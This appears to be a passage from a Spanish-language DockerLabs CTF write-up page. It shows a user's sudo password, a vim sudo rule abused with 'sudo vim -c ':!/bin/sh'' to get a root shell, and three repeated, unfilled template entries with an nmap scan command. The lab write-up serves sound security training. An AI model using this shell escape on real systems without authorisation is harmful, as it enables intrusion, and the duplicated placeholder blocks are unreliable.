[sudo] password for mario: chocolate
Matching Defaults entries for mario on 4b78d2ed7afe:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User mario may run the following commands on 4b78d2ed7afe:

    (ALL) /usr/bin/vim


Echando una ojeada al binario vim (https://sf01web.wixsite.com/mayusoeh/suid-binaries) podemos ver un línea para escalar privilegios aprovechando que el binario no está correctamente configurado:
sudo vim -c ':!/bin/sh'

Y bingo, somos root:
# whoami
root
 

trust

🖥️🟦 NAME

IP: 172.17.0.2
URL: https://dockerlabs.es
Dificultad: MUY FÁCIL
SO: 🐧Linux
Tools: nmap
¿RESUELTA? ✔️
_______________________________________________________________________________________________

Comentario:
sudo nmap -p- -sS -sC -sV --min-rate 5000 -n -Pn -v 172.17.0.2
(...)

🖥️🟦 NAME

IP: 172.17.0.2
URL: https://dockerlabs.es
Dificultad: MUY FÁCIL
SO: 🐧Linux
Tools: nmap
¿RESUELTA? ✔️
_______________________________________________________________________________________________

Comentario:
sudo nmap -p- -sS -sC -sV --min-rate 5000 -n -Pn -v 172.17.0.2
(...)

🖥️🟦 NAME

IP: 172.17.0.2
URL: https://dockerlabs.es
Dificultad: MUY FÁCIL
SO: 🐧Linux
Tools: nmap
¿RESUELTA? ✔️
_______________________________________________________________________________________________

Comentario:
sudo nmap -p- -sS -sC -sV --min-rate 5000 -n -Pn -v 172.17.0.2
(...)

bottom of page